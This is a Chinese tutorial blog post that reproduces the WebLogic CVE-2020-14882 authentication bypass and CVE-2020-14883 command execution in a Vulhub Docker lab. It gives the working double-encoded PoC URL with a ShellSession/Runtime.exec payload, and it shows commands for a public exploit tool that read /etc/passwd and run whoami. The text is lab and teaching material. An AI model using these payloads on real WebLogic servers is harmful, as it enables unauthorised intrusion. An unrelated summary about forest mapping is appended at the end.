WebLogic未授权远程命令执行漏洞复现:原理详解+环境搭建+渗透实践(CVE-2020-14882、CVE-2020-14883)

目录

一、WebLogic未授权远程命令执行漏洞

1、漏洞简介

2、漏洞原理

(1)正常访问流程

(2)权限绕过(CVE-2020-14882):

(3)命令执行(CVE-2020-14883):

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

2、下载 Vulhub

3、进入漏洞环境

4、启动漏洞环境

5、查看环境状态

三、未授权访问管理员后台

1、渗透实战

2、原理分析

四、命令执行(无回显)

1、构造PoC攻击URL

2、执行攻击PoC

3、查看攻击效果

五、命令执行(有回显)

1、攻击脚本下载

2、执行攻击

(1)查看cat /etc/passwd

(2)执行whoami命令

(3)执行ls命令


本文详细讲解WebLogic的CVE-2020-14882和CVE-2020-14883漏洞渗透的原理与渗透全流程。WebLogic的CVE-2020-14882漏洞可绕过认证直接访问管理后台并执行任意命令。该漏洞影响多个WebLogic版本,通过构造特殊URL(含双重编码的路径遍历)可绕过权限校验,结合CVE-2020-14883漏洞实现命令执行。实验环境使用Vulhub搭建,成功复现未授权访问和文件创建操作。攻击者可利用公开工具执行系统命令并获取回显(如查看/etc/passwd、执行whoami等)。该漏洞危害严重,建议及时升级修复。

一、WebLogic未授权远程命令执行漏洞

1、漏洞简介

WebLogic 未授权远程命令执行漏洞(CVE-2020-14882)是 Oracle WebLogic Server 中的一个严重安全漏洞。攻击者可以通过构造特殊的恶意HTTP请求,在未经过任何身份验证的情况下,直接访问WebLogic管理控制台的后台接口。结合另一个漏洞CVE-2020-14883(管理控制台中的命令执行漏洞),可以实现完整的未授权远程命令执行。

  • CVE编号:CVE-2020-14882

  • 漏洞类型权限绕过导致的未授权远程命令执行

  • 危害等级高危 或 严重 (Critical)

  • 影响版本

    • Oracle WebLogic Server 10.3.6.0.0

    • Oracle WebLogic Server 12.1.3.0.0

    • Oracle WebLogic Server 12.2.1.3.0

    • Oracle WebLogic Server 12.2.1.4.0

    • Oracle WebLogic Server 14.1.1.0.0

2、漏洞原理

(1)正常访问流程

正常情况下,任何尝试访问WebLogic管理控制台(通常位于/console/)的请求,都会被重定向到登录页面(/console/login/LoginForm.jsp)。只有提供了有效的管理员凭证后,才能访问后台功能。

(2)权限绕过(CVE-2020-14882)

WebLogic对访问控制台的URL路径进行了校验,但其校验逻辑存在缺陷。攻击者可以通过以下方式绕过认证:

  • 在请求的URL中插入特殊字符(如%252e%252e/%2e%2e%2f,这些是../的双重URL编码形式),或者使用/console/console/这样的重复路径。

  • 这种特殊的构造方式会欺骗WebLogic的权限校验机制,使其认为该请求是用于获取静态资源(如图片、CSS文件)或某些无需认证的公共接口,从而绕过了身份验证检查。

  • 最终,攻击者可以直接访问到本应需要管理员权限才能访问的后台Servlet接口

(3)命令执行(CVE-2020-14883)

光绕过认证还不够,还需要一个可以执行命令的“抓手”。CVE-2020-14883就是这个抓手。

  • 它是一个存在于WebLogic管理控制台组件中的代码执行漏洞。

  • 当攻击者通过CVE-2020-14882绕过认证后,可以访问到某个存在缺陷的后台Servlet(如ConsoleServlet),并向其传递恶意参数。

  • 该Servlet在处理这些参数时,会最终调用Java的Runtime.getRuntime().exec()函数,从而执行攻击者提供的操作系统命令。

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

本文使用Vulhub复现Jenkins-CI漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。

# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker

2、下载 Vulhub

将 Vulhub 项目克隆到本地,具体命令如下所示。

git clone https://github.com/vulhub/vulhub.git
cd vulhub

3、进入漏洞环境

Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。

cd weblogic
cd CVE-2020-14882

4、启动漏洞环境

在CVE-2020-14882目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器

docker-compose up -d

命令执行后,Docker 会完成拉取一个包含weblogic12.2.1.3-2018(受影响版本)的镜像。

5、查看环境状态

使用 docker ps 命令确认容器启动状态,说明由Vulhub 项目提供的 WebLogic 漏洞镜像(版本 12.2.1.3,存在 CVE-2020-14882 漏洞),容器已正常运行 17 分钟,通过宿主机器的 7001 端口可访问容器内的 WebLogic 管理控制台,可用于测试 CVE-2020-14882 漏洞的利用。

docker ps           
CONTAINER ID   IMAGE                COMMAND                  CREATED         STATUS         PORTS                                             NAMES
fe62aa6e46ca   vulhub/weblogic:12.2.1.3-2018   "/u01/oracle/createA…"   17 minutes ago   Up 17 minutes   0.0.0.0:7001->7001/tcp, :::7001->7001/tcp         cve-2020-14882_weblogic_1
字段值字段含义详细说明
fe62aa6e46ca容器 ID(Container ID)Docker 为每个运行的容器分配的唯一 64 位十六进制 ID,此处显示前 12 位缩写形式。可通过该 ID 操作容器(如停止、删除、进入容器等,例:docker stop fe62aa6e46ca)。
vulhub/weblogic:12.2.1.3-2018基础镜像(Image)vulhub:是一个知名的漏洞环境镜像仓库,专门提供各类漏洞的可复现 Docker 镜像,方便安全测试、漏洞学习使用。
weblogic:镜像对应的应用程序,即 Oracle WebLogic Server。
12.2.1.3-2018:镜像标签,明确该 WebLogic 的版本为12.2.1.3(属于 CVE-2020-14882 漏洞的影响版本之一),且镜像构建基于 2018 年的基础环境(未修复后续漏洞)。
"/u01/oracle/createA…"容器启动命令(Command)容器启动时执行的初始化脚本路径(完整路径通常为/u01/oracle/createAndStartWebLogic.sh),作用是自动创建 WebLogic 域、配置服务,并启动 WebLogic 服务器,确保容器启动后可直接访问 WebLogic 服务。
17 minutes ago容器创建时间该容器在查看命令执行前 17 分钟被创建。
Up 17 minutes容器运行状态容器已持续运行 17 分钟(“Up” 表示正常运行中;若为 “Exited” 则表示已停止)。
0.0.0.0:7001->7001/tcp, :::7001->7001/tcp端口映射(Ports)Docker 的端口转发配置:
- 宿主机器(你的本地电脑或服务器)的7001端口(TCP 协议),映射到容器内部的7001端口。
0.0.0.0:7001表示 IPv4 地址上所有网卡的 7001 端口都可访问;:::7001表示 IPv6 地址的同样配置。
- WebLogic 的默认管理控制台端口就是7001,因此可通过http://宿主IP:7001/console访问容器内的 WebLogic 控制台。
cve-2020-14882_weblogic_1容器名称(Name)用户(或 Vulhub 脚本)为容器指定的名称,明确指向该容器的用途:用于复现CVE-2020-14882 漏洞的 WebLogic 容器,后缀_1通常是批量创建时的序号(若只创建 1 个,则为_1)。

三、未授权访问管理员后台

1、渗透实战

Docker启动完成后,攻击者可以构造特殊请求的URL,即可直接访问到管理后台页面:访问http://192.168.59.128:7001/console/css/%252e%252e%252fconsole.portal,如下所示未授权访问成功。

2、原理分析

我们来分析这个URL的含义,攻击者试图让WebLogic认为这是一个对静态资源 (/css/目录) 的请求,从而绕过对 /console.portal 这个敏感接口的权限检查。通过路径遍历,最终成功访问到需要高权限的 console.portal 接口,而无需提供任何管理员用户名和密码。

http://192.168.59.128:7001/console/css/%252e%252e%252fconsole.portal
  • %252e%252e%252f 是双重URL编码后的 ../

    • 第一层解码:Web服务器或Java应用会首先对URL进行解码,将 %25 解码成 % 符号本身。所以解码后变成:%2e%2e%2f

      • %2e -> .

      • %2f -> /

    • 第二层解码:WebLogic在处理路径时,可能会再次进行解码(或规范化),于是 %2e%2e%2f 被第二次解码,最终变成:../

    • 最终效果:整个路径在经过两次解码后,被WebLogic理解为:/console/css/../console.portal

  • 经过所有解码后,WebLogic最终处理的实际路径是:/console/css/../console.portal在操作系统中,../ 表示上级目录。路径遍历后,上述路径等价于:/console/console.portal

四、命令执行(无回显)

1、构造PoC攻击URL

我们尝试执行一个命令,例如 touch /tmp/mooyuan888。如果成功,会在目标服务器的 /tmp 目录下创建一个名为mooyuan888的文件,这是漏洞利用成功的标志。我们先进入容器,查看下/tmp下文件,如下所示不存在mooyuan888这个文件。

将攻击者想对192.168.59.128执行攻击命令(touch /tmp/mooyuan888),攻击命令为exec('touch%20/tmp/mooyuan888')。CVE-2020-14883中构造URL攻击PoC,注意黄色字体,http://192.168.59.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/mooyuan888');") 访问URL如下所示。

http://192.168.59.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/mooyuan888');")
  • ?_nfpb=true&_pageLabel=: 这些是 console.portal 接口预期的正常参数,用于使请求看起来合法。

  • &handle=com.tangocl.coherence.mvel2.sh.ShellSession(...)这是攻击的核心

    • handle: 漏洞参数。

    • com.tangosol.coherence.mvel2.sh.ShellSession: 一个WebLogic内置的类,可以执行MVEL表达式。

    • java.lang.Runtime.getRuntime().exec(...): 在MVEL表达式中调用Java方法,用于执行系统命令。

2、执行攻击PoC

通过访问构造的ULR,攻击者发送这个精心构造的HTTP请求到目标WebLogic服务器。

3、查看攻击效果

查看/tmp路径下的文件及子路径,如下所示在/tmp路径下成功创建了mooyuan888文件,命令执行成功!至此,漏洞复现成功。

五、命令执行(有回显)

1、攻击脚本下载

CVE-2020-14882_ALL综合利用工具,支持命令回显检测,Github库地址如下所示。

https://github.com/GGyao/CVE-2020-14882_ALL

2、执行攻击

(1)查看cat /etc/passwd

python CVE-2020-14882_ALL.py -u http://192.168.59.128:7001 -c "cat /etc/passwd"

(2)执行whoami命令

python CVE-2020-14882_ALL.py -u http://192.168.59.128:7001 -c "whoami"

(3)执行ls命令

python CVE-2020-14882_ALL.py -u http://192.168.59.128:7001 -c "ls"

内容概要:本文介绍了一个基于Python的地理空间分析自动化流程,旨在利用Google Earth Engine(GEE)获取森林分类遥感数据,并结合GIS技术对特定不动产区域内的森林类型进行可视化与面积统计。系统通过加载不动产矢量边界(AOI),从GEE平台调用NASA/ORNL发布的全球森林分类数据集(2020年版),裁剪并下载对应区域的栅格数据,随后在本地进行像素级分类统计,计算各类森林(原始林、年轻次生林、老年次生林)的覆盖面积(单位:公顷)。同时,程序生成标准化的地图可视化结果,包含底图、图例、比例尺、指北针和智能经纬网格,并最终导出包含图表和统计表格的PDF报告。整个流程实现了从云端数据获取到本地制图输出的一体化处理。; 适合人群:具备Python编程基础及地理信息系统(GIS)知识的科研人员、环境监测从业者或遥感技术人员,尤其适合从事生态评估、土地利用分析等相关工作的专业人士;; 使用场景及目标:① 实现对指定区域森林类型的自动分类与面积量化;② 生成符合出版标准的空间地图与分析报告,支持环境保护、碳汇评估或政策制定等应用;③ 提供可复用的自动化管道,减少重复性人工操作; 阅读建议:此资源以面向对象方式组织代码,结构清晰,建议使用者熟悉geemap、rasterio、geopandas等库的基本用法,并确保已配置GEE开发环境。学习时应重点关注类间的协作关系、坐标系处理逻辑以及地图美化细节,便于根据实际需求扩展分类体系或调整输出样式。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值